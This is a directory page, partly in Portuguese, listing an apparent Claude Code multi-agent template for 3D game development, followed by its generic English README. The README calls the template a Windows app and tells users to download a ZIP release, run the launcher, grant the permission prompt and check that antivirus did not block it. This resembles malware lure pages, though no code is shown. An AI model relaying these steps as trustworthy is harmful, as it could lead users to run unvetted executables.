Claude Agents GameKit
maybugwaterbutt646/claude_agents_gamekit
Multi-agente para dev de games com QA integrado
Ver no GitHubTemplate Windows para desenvolvimento de jogos 3D com workflow multi-agente. Automatiza planejamento, validação de assets, QA e exportação para Unity, Godot, WebGL e WeChat Mini Games através de agentes coordenados.
Instalação
npx convez-ai maybugwaterbutt646/claude_agents_gamekit1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Automatizar pipeline de desenvolvimento de jogos 3D
- Validar assets antes de integração ao engine
- Executar checks de QA em fase inicial do projeto
- Coordenar tarefas entre design, arte e build
Veredito

Kit robusto para game devs que trabalham com múltiplos engines. A abordagem QA-first e workflow multi-agente reduz erros, mas exige Windows e setup inicial de engine — ideal para equipes ou projetos complexos.
README
A tradução para o português deste README ainda está na fila.
🤖 claude_agents_gamekit - Build 3D Games With Guided Agents
🖥️ What this is
claude_agents_gamekit is a Windows app template for 3D game work. It helps you run a multi-agent workflow for game tasks like content planning, asset checks, QA, and engine handoff.
Use it when you want a clear path from idea to game build. It is built for work across common game tools like Godot, Unity, WebGL, and WeChat Mini Game targets.
📦 What you need
- Windows 10 or Windows 11
- A modern 64-bit CPU
- 8 GB RAM or more
- 2 GB free disk space
- A stable internet connection for the first download
- A GPU that supports your game engine target
If you plan to use Godot or Unity with this kit, install the engine you want to use before you start your project.
⬇️ Download and install
- Open the release page
- Find the latest release
- Download the Windows file from that page
- If the download comes as a ZIP file, right-click it and choose Extract All
- Open the extracted folder
- Run the main app or launcher file
- If Windows asks for permission, choose Yes
If you do not see the app right away, look for files named claude_agents_gamekit, launcher, or setup.
🎮 First-time setup
When you open the app for the first time, follow the on-screen steps:
- Choose your game engine target
- Pick a project folder on your PC
- Set your asset folders
- Confirm the default QA checks
- Save your settings
The app is built to help you keep project files in order. It uses a clear asset path setup, so your images, models, sounds, and builds stay easy to find.
🧩 What the app can help with
- Plan game tasks for a small team or solo project
- Split work into subagents for design, art, QA, and build steps
- Check assets before they enter the game
- Keep file names and folders consistent
- Prepare output for Godot, Unity, WebGL, and WeChat Mini Game
- Run QA-first checks before a build goes out
🗂️ Project flow
A simple way to use this kit:
- Start with a game goal
- Add the assets you need
- Let the workflow sort tasks into steps
- Review the output from each step
- Run QA checks
- Export for the target engine or platform
This keeps the process steady and easier to track. It also helps you catch problems before they reach the final build.
🧠 How the multi-agent setup works
This template uses a set of focused helpers. Each helper handles one type of work.
- One helper can draft task plans
- One helper can review assets
- One helper can check build rules
- One helper can watch for QA issues
- One helper can prepare engine-specific output
You do not need to manage each step by hand. You set the goal, then the workflow follows the path you choose.
🧪 QA-first workflow
QA comes before release steps in this kit. That means the app checks for common problems early.
It can help catch:
- Missing files
- Wrong file names
- Broken asset paths
- Empty folders
- Build target mismatch
- Simple content issues
This saves time because you find errors before you package the game.
🛠️ Asset ABI
Asset ABI here means a fixed way to name, place, and pass assets through the workflow. It helps tools and agents understand the same file structure.
In practice, that means:
- Images stay in known folders
- Audio files use the same pattern
- Models follow the same handoff path
- Build output keeps a stable layout
This makes it easier to move work from one step to the next without confusion.
🧭 Supported game targets
This template is built for cross-engine work. You can use it with:
- Godot
- Unity
- WebGL
- WeChat Mini Game
Each target can use its own export path and file rules. That helps you match the output to the platform you need.
📁 Typical folder layout
A project made with this kit often looks like this:
assets/for art, sound, and modelstasks/for planning filesqa/for checks and reportsexports/for build outputnotes/for design and team notesengine/for engine-specific files
Keeping this layout steady makes the project easier to open later.
🔄 Common daily use
If you use the app every day, this is a simple routine:
- Open your project
- Add new assets
- Run the asset check
- Review the task output
- Fix any flagged problems
- Export to your chosen engine target
This keeps the work moving in a clear order.
🧷 File tips
Use short and clear file names.
Good examples:
player_idle.pngenemy_walk.fbxui_click.wavlevel1_layout.json
Try to avoid:
- Long names with many symbols
- Mixed spaces and underscores
- Duplicate file names in different folders
Clear names make the workflow easier to use.
🧰 Troubleshooting
If the app does not start:
- Check that you downloaded the latest release
- Make sure you extracted the ZIP file first
- Run the app from the extracted folder
- Try again after restarting Windows
- Check that your antivirus did not block the file
If a build target fails:
- Confirm you chose the right engine target
- Check your asset paths
- Make sure the project folder is not moved
- Review the QA output for missing files
If files do not appear in the app:
- Refresh the folder view
- Confirm the files are in the expected asset folder
- Check file names for strange characters
🔐 Safety and trust
The app works from a local project folder on your PC. You control the files and the export path. Keep your project in a folder you can find again, such as Documents or Desktop, so you can open it fast.
📚 Example use case
You want to build a small 3D game with a character, one level, and a basic menu.
You can use this kit to:
- Organize the model, textures, and sounds
- Split the work into small steps
- Check the files before export
- Prepare the build for Godot or Unity
- Keep QA in the loop before release
This helps you avoid a messy folder and keeps the project on track.
🧭 Where to get the download
Visit the release page to download and run this file on Windows.